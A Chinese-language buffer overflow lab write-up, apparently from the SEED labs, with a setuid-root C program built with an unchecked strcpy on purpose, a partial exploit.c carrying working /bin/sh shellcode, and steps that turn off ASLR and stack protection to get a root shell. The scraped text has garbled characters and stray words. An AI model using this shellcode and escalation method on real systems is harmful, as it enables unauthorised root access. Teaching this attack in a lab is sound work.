有漏洞的程序:shell
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
编译以上易被攻击的程序并用 setuid 机制设置其有效执行用户为 root。你能够经过用root 账户编译并 chmod 可执行到 4755 来实现。安全
注:以上程序有一个缓冲区溢出漏洞。它一开始从一个叫“badfile”的文件读了一个输入,而后将这个输入传递给了另外一个 bof()功能里的缓冲区。原始输入最大长度为 517 bytes,然而 bof()的长度仅为 12 bytes。因为strcpy()不检查边界,将发生缓冲区溢出。因为此程序有效执行用户root。若是一个普通用户利用了此缓冲区溢出漏洞,他有可能得到 root shell。应该注意到此程序是从一个叫作“badfile”的文件得到输入的,这个文件受用户控制。如今咱们的目标是为“badfile”建立内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 shell。app
咱们提供给你一段部分完成的攻击代码“exploit.c”,这段代码的目的是为“badfile”建立内容。代码中,shellcode 已经给出,你须要完成其他部分。ui
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[ ]= "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
完成以上程序后编译并运行,它将为“badfile”生成内容。而后运行漏洞程序栈,若是你的攻击正确实现,你将获得一个shell。this
实验过程:
(1)进入seed系统后,使用 sudo su命令提权:code
(2)Ubuntu 和其它一些 Linux 系统都 适用了地址空间随机化机制(ASLR)来随机变化堆栈的起始地址。这将使猜想精确的地址很是 困难,猜想地址是缓冲区溢出攻击中关键的一步。在这个实验中,咱们使用下面的命令关闭 ASLR:编译器
(3)另:GCC 编译器中实现了一种”Stack Guard”的安全机制来防止缓冲区溢出。你能够关 闭该保护当您编译时使用-fno-stack-protector。例如,编译一个叫 example.c 的程序而且不使 用 Stack Guard,你应该使用下面的命令: gcc -fno-stack-protector example.cstring
不使用Stack Guard机制的GCC编译stack.c程序,并提权:it
注意上述操做完成后要切换为普通用户,终端键入:exit:io
(4)编译exploit,并执行以下操做,发现成功取得了root shell:
(5)使用命令id检测下,攻击成功: